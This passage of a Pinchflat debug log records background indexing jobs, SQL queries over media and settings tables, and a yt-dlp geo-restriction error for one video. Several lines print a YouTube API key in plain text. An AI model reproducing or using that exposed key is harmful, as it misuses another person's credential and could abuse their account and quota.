s0 LIMIT 1 [] 16:16:28.322 [debug] QUERY OK source="media_profiles" db=0.7ms idle=363.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:28.323 [debug] QUERY OK source="settings" db=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:28.323 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:16:28.323 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:28.323 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:28.397 [debug] QUERY OK source="media_items" db=0.4ms idle=74.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:16:28.397 [debug] QUERY OK source="media_items" db=0.1ms idle=75.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:16:28.398 [debug] QUERY OK source="tasks" db=0.1ms idle=75.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799921, 30, ~U[2026-02-10 22:16:28Z], ~U[2026-02-10 22:16:28Z]] 16:16:28.398 [info] {"args":{"id":30},"id":3799883,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":77663,"event":"job:stop","queue_time":498784,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:28.706 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/07/95/0795804d9f48742ec2ab9b32b3a52831aec8d36b8637e40680eeb7c21a53986a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:16:28.706 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:16:28.708 [debug] QUERY OK source="media_items" db=1.7ms idle=308.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 16:16:28.709 [debug] QUERY OK source="tasks" db=0.1ms idle=310.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799922, 6, ~U[2026-02-10 22:16:28Z], ~U[2026-02-10 22:16:28Z]] 16:16:28.709 [info] {"args":{"id":6},"id":3799881,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9398116,"event":"job:stop","queue_time":845856,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:29.321 [info] {"args":{"id":17},"id":3799884,"meta":{},"system_time":1770761789321790424,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:29.322 [debug] QUERY OK source="sources" db=0.1ms idle=612.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 16:16:29.322 [debug] QUERY OK source="settings" db=0.1ms idle=612.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:29.322 [debug] QUERY OK source="media_profiles" db=0.1ms idle=606.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:29.322 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:29.322 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 16:16:29.322 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:29.322 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:29.449 [debug] QUERY OK source="media_items" db=0.6ms idle=126.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:16:29.450 [debug] QUERY OK source="media_items" db=0.2ms idle=127.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:16:29.450 [debug] QUERY OK source="tasks" db=0.1ms idle=127.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799923, 17, ~U[2026-02-10 22:16:29Z], ~U[2026-02-10 22:16:29Z]] 16:16:29.451 [info] {"args":{"id":17},"id":3799884,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129060,"event":"job:stop","queue_time":525524,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:31.323 [info] {"args":{"id":33},"id":3799885,"meta":{},"system_time":1770761791323741116,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:31.324 [debug] QUERY OK source="sources" db=0.1ms idle=445.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:16:31.324 [debug] QUERY OK source="settings" db=0.0ms idle=445.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:31.324 [debug] QUERY OK source="media_profiles" db=0.0ms idle=445.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:31.324 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:31.324 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:16:31.324 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:31.324 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:31.448 [debug] QUERY OK source="media_items" db=0.7ms idle=123.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", "1hQrvRxwITA", "KG4xHJfvHAw", "yza8omO0x6s", "x0tgdtpjnpc", "ZdH7NdO7efQ", "hi8X2YhiP8A", "yxrbW3ofuJo", "7Sz9VfcOEKo", "baF6VombepE", "Pa53dGNd9Fw", "p3P-Kod95V4", "7y4_DW4L8Hc", "OZUf6aTxUZE", "jgQGUwBGva4", "TeV0gYqyBnY", "ezKhazl-mdI", "pEmZcPGnYfc", "vPA3i--1sM4", "xT4HZZ2N2-c", "vC9N7PgIvEM", "A0mp9XB_MaU", "ZXK6IywE0bQ", "o1wXhGL8_GM", "j801RCel8Nc", "EIUwdOmluFE", "oka31nU8V1c", ...] 16:16:31.449 [debug] QUERY OK source="media_items" db=0.4ms idle=124.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:16:31.450 [debug] QUERY OK source="tasks" db=0.1ms idle=125.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799924, 33, ~U[2026-02-10 22:16:31Z], ~U[2026-02-10 22:16:31Z]] 16:16:31.450 [info] {"args":{"id":33},"id":3799885,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126869,"event":"job:stop","queue_time":517496,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:32.324 [info] {"args":{"id":12},"id":3799886,"meta":{},"system_time":1770761792324759463,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:32.324 [info] {"args":{"id":11},"id":3799887,"meta":{},"system_time":1770761792324796681,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:32.325 [debug] QUERY OK source="sources" db=0.2ms idle=874.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 